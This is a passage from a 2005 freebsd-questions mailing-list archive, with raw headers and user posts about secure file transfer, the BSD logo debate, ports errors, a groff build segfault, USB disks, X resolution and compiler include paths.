mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id E16421C0009F for ; Thu, 10 Feb 2005 21:28:54 +0100 (CET) X-ME-UUID: 20050210202854923.E16421C0009F@mwinf1107.wanadoo.fr Date: Thu, 10 Feb 2005 21:28:54 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1284162049.20050210212854@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <8af82589050210084137ab01df@mail.gmail.com> References: <8af82589050210084137ab01df@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:28:56 -0000 Danie Du Toit writes: > Which packages are available to upload /download large dumpfiles in a > secure fashion (e.g. using SSL). The customer should not need any > secure client installed on his PC. Anything that is secure will require appropriate software at both ends of the transfer, and thus will require some sort of security-aware client on the customer's PC. SFTP provides secure file transfers. I use SecureFX on my client machine, and the standard SFTP server on the FreeBSD server. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:35:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B8AF816A4CE for ; Thu, 10 Feb 2005 20:35:08 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7548243D3F for ; Thu, 10 Feb 2005 20:35:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id A6DF31C000BF for ; Thu, 10 Feb 2005 21:35:07 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 8AE951C000BB for ; Thu, 10 Feb 2005 21:35:07 +0100 (CET) X-ME-UUID: 20050210203507569.8AE951C000BB@mwinf1102.wanadoo.fr Date: Thu, 10 Feb 2005 21:35:06 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <296462997.20050210213506@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050210195143.GB22874@keyslapper.net> References: <200502092223.01650.algould@datawok.com> <20050210155900.GD89175@keyslapper.net> <20050210195143.GB22874@keyslapper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:35:08 -0000 Louis LeBlanc writes: > If there were a *reasonable* basis for changing, I would be in favor > of the proposed change. Sadly, but in favor nonetheless. The > "business" reasons mentioned are not sound given the fact that there > are *real* devils used as mascots and logos in the food, sports, and > other industries. The devil aspect is unimportant. What is important is that there is a need for a simple and flexible logo for brand identification. The current Beastie image, besides being inconsistent, is almost totally unsuitable for the technologies with which a logo must be used. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:37:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1DBF516A4CE for ; Thu, 10 Feb 2005 20:37:50 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id BA86C43D55 for ; Thu, 10 Feb 2005 20:37:49 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 283751C00088 for ; Thu, 10 Feb 2005 21:37:49 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 0CCA21C00084 for ; Thu, 10 Feb 2005 21:37:47 +0100 (CET) X-ME-UUID: 20050210203748524.0CCA21C00084@mwinf1107.wanadoo.fr Date: Thu, 10 Feb 2005 21:37:43 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <535601999.20050210213743@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1108067044.658.12.camel@hatter.wonderland.dn> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> <1108067044.658.12.camel@hatter.wonderland.dn> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:37:50 -0000 Julio Capote writes: > Untrue, I know a NUMBER of emerging graphic artists, who would kill for > this kind of exposure, and are much better than any commercialized firm > I've seen. If they are so good, why would they kill for this kind of exposure? The world of commercial art is no exception to the rule that you get what you pay for. Good graphic art is worth paying for; for a price of zero dollars, you'll get zero quality. Exceptions are very, very rare, and cannot be depended on. And an amateurish logo would be quite a liability. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:38:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0F3D316A4CE for ; Thu, 10 Feb 2005 20:38:06 +0000 (GMT) Received: from web53802.mail.yahoo.com (web53802.mail.yahoo.com [206.190.36.197]) by mx1.FreeBSD.org (Postfix) with SMTP id 7E51B43D53 for ; Thu, 10 Feb 2005 20:38:05 +0000 (GMT) (envelope-from stigmata_blackangel@yahoo.com) Received: (qmail 78806 invoked by uid 60001); 10 Feb 2005 20:38:04 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=4RvRqZlO0RTg19xP6G/Uidl6caheUFYFBTMsZdU71UKS5M3FnN3RcJK3vW9gyUOt9CsFEwTagy5zxrNv/QfSs2gYinl5n3twGgNNmUEoSrzl00EVkVPddoxsb3AvQcdJJutrlZHNOZMbFbRH89u3Z9wP+Gngrx2aDuVa3r5IYmQ= ; Message-ID: <20050210203804.78804.qmail@web53802.mail.yahoo.com> Received: from [67.173.235.208] by web53802.mail.yahoo.com via HTTP; Thu, 10 Feb 2005 12:38:04 PST Date: Thu, 10 Feb 2005 12:38:04 -0800 (PST) From: Gregor Mosheh To: freebsd-questions@freebsd.org In-Reply-To: <1284162049.20050210212854@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:38:06 -0000 I had a similar, perhaps related question. I'm making backups via tar to a SMB server, but I would rather use sftp/scp for it (the NAS supports both SMB and scp/sftp). I don't have enough disk space to make the backup to a tarchive and then scp that tarchive. Is there a way to make scp/sftp read from a pipe or stdin, rather than specific filenames? The docs haven't mentioned it, but since the subject came up I thought it worth asking... --- Anthony Atkielski wrote: > Danie Du Toit writes: > > > Which packages are available to upload /download > large dumpfiles in a > > secure fashion (e.g. using SSL). The customer > should not need any > > secure client installed on his PC. > > Anything that is secure will require appropriate > software at both ends > of the transfer, and thus will require some sort of > security-aware > client on the customer's PC. > > SFTP provides secure file transfers. I use SecureFX > on my client > machine, and the standard SFTP server on the FreeBSD > server. > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:40:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7DEAF16A4CF for ; Thu, 10 Feb 2005 20:40:15 +0000 (GMT) Received: from smtpauth08.mail.atl.earthlink.net (smtpauth08.mail.atl.earthlink.net [209.86.89.68]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4CCE843D2D for ; Thu, 10 Feb 2005 20:40:15 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth08.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzL6k-0006US-Km; Thu, 10 Feb 2005 15:40:14 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 14:40:47 -0600 User-Agent: KMail/1.6.2 References: <8af82589050210084137ab01df@mail.gmail.com> <1284162049.20050210212854@wanadoo.fr> In-Reply-To: <1284162049.20050210212854@wanadoo.fr> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502101440.47202.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bce7dc674a212b4693ca348fc21acf9068350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Anthony Atkielski Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:40:15 -0000 On Thursday 10 February 2005 02:28 pm, Anthony Atkielski wrote: > Danie Du Toit writes: > > Which packages are available to upload /download large dumpfiles in > > a secure fashion (e.g. using SSL). The customer should not need any > > secure client installed on his PC. > > Anything that is secure will require appropriate software at both > ends of the transfer, and thus will require some sort of > security-aware client on the customer's PC. > > SFTP provides secure file transfers. I use SecureFX on my client > machine, and the standard SFTP server on the FreeBSD server. How about webdav over SSL (https)? The easiest webdav client that I've found in *nix is Konqueror. Windows (2K, XP) and Mac OSX have support for webdav by default. Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:44:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E7A3D16A4CE for ; Thu, 10 Feb 2005 20:44:14 +0000 (GMT) Received: from smtp.owt.com (smtp.owt.com [204.118.6.19]) by mx1.FreeBSD.org (Postfix) with ESMTP id 422CF43D45 for ; Thu, 10 Feb 2005 20:44:14 +0000 (GMT) (envelope-from kstewart@owt.com) Received: from [207.41.94.233] (owt-207-41-94-233.owt.com [207.41.94.233]) by smtp.owt.com (8.12.8/8.12.8) with ESMTP id j1AKhqtH016758; Thu, 10 Feb 2005 12:43:53 -0800 From: Kent Stewart To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 12:44:07 -0800 User-Agent: KMail/1.7.2 References: <200502101514.j1AFEWtm031883@mail-core.space2u.com> In-Reply-To: <200502101514.j1AFEWtm031883@mail-core.space2u.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502101244.07767.kstewart@owt.com> cc: Joachim Dagerot Subject: Re: Messed up my ports - "Can't find the `5.1-RELEASE' distribution on this FTP server." X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:44:15 -0000 On Thursday 10 February 2005 07:14 am, Joachim Dagerot wrote: > I have probably done something sometime on my 2 year+ server > installation that wrecked my port installation. > > Whenever I try to install a port I get the "Can't find the > `5.1-RELEASE' distribution on this FTP server." the same goes with > "sysinstall -> configure -> Distributions" I have tried multiple > servers including the main. With the same result. > > I really don't know what to do. Any help is appreciated! > Ports don't go by releases like you are trying to do. If you look at ftp://ftp.freebsd.org/pub/FreeBSD/ports/ You will see that nothing before 5.2 is there now. The current set of packages, which is what you are loading, would be located in packages-5-stable. Are you really still using 5.1? That was not considered a production release. The current version is 5.3 and was the first to be given the name of 5-stable. Kent -- Kent Stewart Richland, WA http://users.owt.com/kstewart/index.html From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:44:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9619416A4CE for ; Thu, 10 Feb 2005 20:44:21 +0000 (GMT) Received: from ccsmail.camcom.com (ccsmail.camcom.com [67.107.97.233]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2605143D45 for ; Thu, 10 Feb 2005 20:44:21 +0000 (GMT) (envelope-from sfarmer@cambridgecomputer.com) Received: from mail1.int.camcom.com ([172.28.100.1]) by ccsmail.camcom.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 15:44:32 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Thu, 10 Feb 2005 15:44:19 -0500 Message-ID: <8F3BD3B9C8DBC24698D8C6CBA56C524F2280C3@mail1.int.camcom.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Question reg. FreeBSD filesystem size Thread-Index: AcUPsUs8em5FvivUQ2OlLq0MbtpEag== From: "Sam Farmer" To: X-OriginalArrivalTime: 10 Feb 2005 20:44:32.0774 (UTC) FILETIME=[53199260:01C50FB1] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Question reg. FreeBSD filesystem size X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:44:21 -0000 What is the maximum supported size for a single filesystem under Release 4.11 and under 5.3? Thanks! =20 Sam Farmer=20 Systems Engineer=20 Cambridge Computer Services, Inc.=20 Artists in Data Storage=20 Tel: 781-250-3212=20 Fax: 781-250-3312=20 www.cambridgecomputer.com=20 sfarmer@cambridgecomputer.com=20 =20 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:47:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 509DB16A4CE for ; Thu, 10 Feb 2005 20:47:36 +0000 (GMT) Received: from zeus.jarasoft.net (raats.xs4all.nl [80.126.151.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D44B43D2D for ; Thu, 10 Feb 2005 20:47:36 +0000 (GMT) (envelope-from jack@raats.xs4all.nl) Received: from zeus.jarasoft.net (localhost [127.0.0.1]) by zeus.jarasoft.net (Postfix) with ESMTP id 1EA31B293 for ; Thu, 10 Feb 2005 21:47:39 +0100 (CET) Received: from jara2 (unknown [10.0.0.157]) by zeus.jarasoft.net (Postfix) with ESMTP id D0772B1EF for ; Thu, 10 Feb 2005 21:47:38 +0100 (CET) Message-ID: <002d01c50fb1$ccd18b80$9d00000a@jara2> From: "Jack Raats" To: Date: Thu, 10 Feb 2005 21:47:56 +0100 Organization: Jack Raats MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-AV-Checked: ClamAV using ClamSMTP on zeus.jarasoft.net Subject: Adding an usb harddisk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Jack Raats List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:47:36 -0000 I want to add an usb harddisk. Acoording to fdisk it's formatted as a "NTFS/HPFS/QNX" disk Can I add this disk and still using this file system? What kind of dev/fstab do I need to add? Do I need an extra swap slice? How to make one? I'm using FreeBSD 4.11. Thank you Jack Raats From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:53:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E3A9B16A4CE for ; Thu, 10 Feb 2005 20:53:57 +0000 (GMT) Received: from mirapoint2.tis.cwru.edu (mirapoint2.TIS.CWRU.Edu [129.22.104.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA05F43D39 for ; Thu, 10 Feb 2005 20:53:54 +0000 (GMT) (envelope-from ttt@cwru.edu) Received: from [129.22.151.155] (tagon.ENGINEERING.CWRU.Edu [129.22.151.155]) by mirapoint2.tis.cwru.edu (MOS 3.5.4-GR) with ESMTP id DJC02554 (AUTH ttt); Thu, 10 Feb 2005 15:53:52 -0500 (EST) Message-ID: <420BC9E0.3000608@cwru.edu> Date: Thu, 10 Feb 2005 15:53:52 -0500 From: Tom Trelvik User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <42093027.40208@cwru.edu> In-Reply-To: <42093027.40208@cwru.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: groff/font/devX100 segfault in "make installworld" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:53:58 -0000 Okay, so, no response initially, hopefully you guys won't mind some quicker and more specific followups, then. I just reinstalled again, followed only the steps I documented below (minus the vim & portupgrade installs), and had identical results. This time, however, I tried changing the tag in my cvs-supfile from RELENG_5_3 to RELENG_5 and was able to successfully rebuild the source tree, but I know I tried that to no avail when I first encountered this problem a few months ago, and I'm not sure why it worked now (to be sure I then rolled it back to RELENG_5_3, saw the same problem, and successfully switched back to RELENG_5 again). But, ideally, I'd like to keep my production servers on RELENG_5_3 so that the only regular changes should be security patches (of course, these are exactly the kinds of surprises I was hoping to avoid by sticking with RELENG_5_3). So, my questions: 1) Was this not the best place to post a question like this? If not, I apologize, but where would have been more appropriate? 2) Was I not following the instructions/documentation properly for upgrading my system after install? (I got most of it initially from a series of Dru Lavigne articles on Oreilly, but followed up by reading the relevant portions of the handbook as well.) 3) If it does appear I was doing things properly, should I report this somewhere as a possible problem? I have been able to repeatedly reproduce this on multiple computers (though identical in hardware) across the span of at least 3 months (updating the source tree minutes before trying, each time), many of which were completely fresh installs. 4) Is there some way I could make the buildworld/installworld just skip at least the devX100 font if not all of groff in order to avoid this problem? Obviously that approach could be a problem for many other programs, but groff doesn't seem worth worrying over if it's preventing me from keeping my system patched. Or, if that's not a good idea, what might be a better work around? Thanks again! Tom Tom Trelvik wrote: > > So I ran into this problem a few months ago when I first started > setting up a couple new servers. At the time I found one person online > who'd had a very similar sounding problem some time before that, and he > said it had gone away on its own for him, and that he suspected it was > something corrupt in the source tree. I moved /usr/src out of the way > and tried to cvsup a fresh source tree, and things started working. > > But now, it looks like I had just gotten lucky somehow. I've > reinstalled one of those systems and the same issue cropped back up > again, and I'm at a loss as to what to do about it this time. > > Pretty much all I did was install the "User" distribution set from > 5.3-RELEASE-amd64-miniinst.iso and then installed bash2, sudo, screen, > vim (NO_GUI=yes), portupgrade, & cvsup-without-gui from ports (not that > I expect those to matter, I'm just trying to be thorough since I did so > little that I can think of that might affect this). > > I then created the following cvs-supfile: > > $ cat /root/cvs-supfile > *default host=cvsup12.FreeBSD.org > *default base=/var/db > *default prefix=/usr > *default release=cvs tag=RELENG_5_3 > *default delete use-rel-suffix > *default compress > src-all > ports-all tag=. > > and ran the following commands: > > # cd /usr/src && \ > cvsup -g -L 2 /root/cvs-supfile && \ > make buildworld && \ > make buildkernel KERNCONF=GENERIC && \ > make installkernel KERNCONF=GENERIC && \ > make installworld > > and the "make installworld" ends with this segfault: > > ===> gnu/usr.bin/groff/doc > install-info --quiet --defsection=Miscellaneous --defentry= groff.info > /usr/s > hare/info/dir > install -o root -g wheel -m 444 groff.info.gz /usr/share/info > ===> gnu/usr.bin/groff/font > ===> gnu/usr.bin/groff/font/devX100 > Segmentation fault (core dumped) > *** Error code 139 > > I tried moving /usr/src out of the way again, and cvsup'ing a fresh > source tree again, but to no avail, and I'm once again at a loss, and > not really sure how to diagnose what's causing this. > > I don't suppose anyone has any suggestions or pointers? Thanks a > ton, I really appreciate it! > > Tom > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 20:57:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 275A516A4CE for ; Thu, 10 Feb 2005 20:57:27 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id C7AA243D31 for ; Thu, 10 Feb 2005 20:57:26 +0000 (GMT) (envelope-from rlurman@gmail.com) Received: by rproxy.gmail.com with SMTP id a41so194496rng for ; Thu, 10 Feb 2005 12:57:26 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=kvrpAdY2U/DgAwMvqwP2XViSPRybBqO/yd6IWUDwwwcichz4ljik75eTbqsOZW6K62Chbz/P0pYOHvWxzprjA53ItKGxPiN7AHska9dgqS3me86Tya0HZhEdSKoEv5XzfCFgVWHOvVYVyTa806yc6cmOYaiPevK3duexc9qhtas= Received: by 10.38.160.52 with SMTP id i52mr38815rne; Thu, 10 Feb 2005 12:57:03 -0800 (PST) Received: by 10.38.149.30 with HTTP; Thu, 10 Feb 2005 12:56:46 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 15:56:46 -0500 From: RL To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Can't get anything better than 800x600 resolution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: RL List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 20:57:27 -0000 I just got an Nvida PCI GeForce FX card, installed the NVIDIA drivers correctly (it loads), did an xorgconfig, and made the appropriate changed in xorg.conf. I have a "DefaultDepth 24" line and under depth 24 I have Modes "1024 x768" etc... However, when I load X, it loads at 800x600 and I can't up its resolution in GNOME nor can I up in on my keyboard with the numeric +/- keys. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:00:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 68F1016A4D6 for ; Thu, 10 Feb 2005 21:00:56 +0000 (GMT) Received: from mail.libertysurf.net (mx-out.tiscali.fr [213.36.80.91]) by mx1.FreeBSD.org (Postfix) with ESMTP id 04EF043D3F for ; Thu, 10 Feb 2005 21:00:54 +0000 (GMT) (envelope-from sma@tiscali.fr) Received: from [10.10.10.6] (83.157.130.87) by mail.libertysurf.net (7.1.026) id 41A46BF5016CAE78 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 22:00:52 +0100 Message-ID: <420A7A03.7090908@tiscali.fr> Date: Wed, 09 Feb 2005 22:00:51 +0100 From: =?ISO-8859-1?Q?St=E9phane_Le_Maure?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041217 X-Accept-Language: fr, en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: disappearance of /dev/mem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:00:56 -0000 Hello all I have a big problem since the upgrade of 5.2 towards 5.3. The file /dev/mem does not exist any more in /dev and thus all the programs using this file does not function any more. There of another person is who has the concern. Thank you very much for your assistance. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:01:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA89B16A4CE for ; Thu, 10 Feb 2005 21:01:09 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id A149F43D1D for ; Thu, 10 Feb 2005 21:01:09 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id E61A151473; Thu, 10 Feb 2005 13:01:08 -0800 (PST) Date: Thu, 10 Feb 2005 13:01:08 -0800 From: Kris Kennaway To: Mark Jayson Alvarez Message-ID: <20050210210108.GA94407@xor.obsecurity.org> References: <20050210084255.63030.qmail@web51606.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5mCyUwZo2JvN/JJP" Content-Disposition: inline In-Reply-To: <20050210084255.63030.qmail@web51606.mail.yahoo.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: Make fails because of missing library but I can see it's there, why??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:01:10 -0000 --5mCyUwZo2JvN/JJP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 10, 2005 at 12:42:55AM -0800, Mark Jayson Alvarez wrote: > Hi, > This always happens to me whenever I'm compiling > third party applications. Make fails because it says > that it cannot find a certain library.. and when I try > to search for that file, I usually finds it. For > example, I'm compiling, nagios-plugins but it fails > with this error messages: >=20 > check_ldap.c:31:18: lber.h: No such file or directory > check_ldap.c:32:18: ldap.h: No such file or directory >=20 > but when I run: > # find / -name "ldap.h" -print > /usr/lib/ldap.h > /usr/local/lib/ldap.h > /usr/local/include/ldap.h > noc# find / -name "lber.h" -print > /usr/lib/lber.h > /usr/local/lib/lber.h > /usr/local/include/lber.h >=20 > See.. it's all there! I'm thinking perhaps there's a > way for me to tell a compiler that the system wide > library files are found in that certain directory. >=20 > Any idea?? You need to specify -I and -L with gcc to point to location of files outside the default search path (which is /usr/include and /usr/lib respectively). Kris P.S. You've polluted the base system with those headers (/usr/lib) which may cause you problems later on. --5mCyUwZo2JvN/JJP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC8uUWry0BWjoQKURAqioAKClYYNs4ee3/9VdJMQLfLM2i0LsKACfQQtv mkhTQ5pXLiaxOzr8S1c9A0E= =zQ9i -----END PGP SIGNATURE----- --5mCyUwZo2JvN/JJP-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:02:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 74E6D16A4CE for ; Thu, 10 Feb 2005 21:02:23 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 35E9643D31 for ; Thu, 10 Feb 2005 21:02:23 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 7005651456; Thu, 10 Feb 2005 13:02:22 -0800 (PST) Date: Thu, 10 Feb 2005 13:02:22 -0800 From: Kris Kennaway To: Joachim 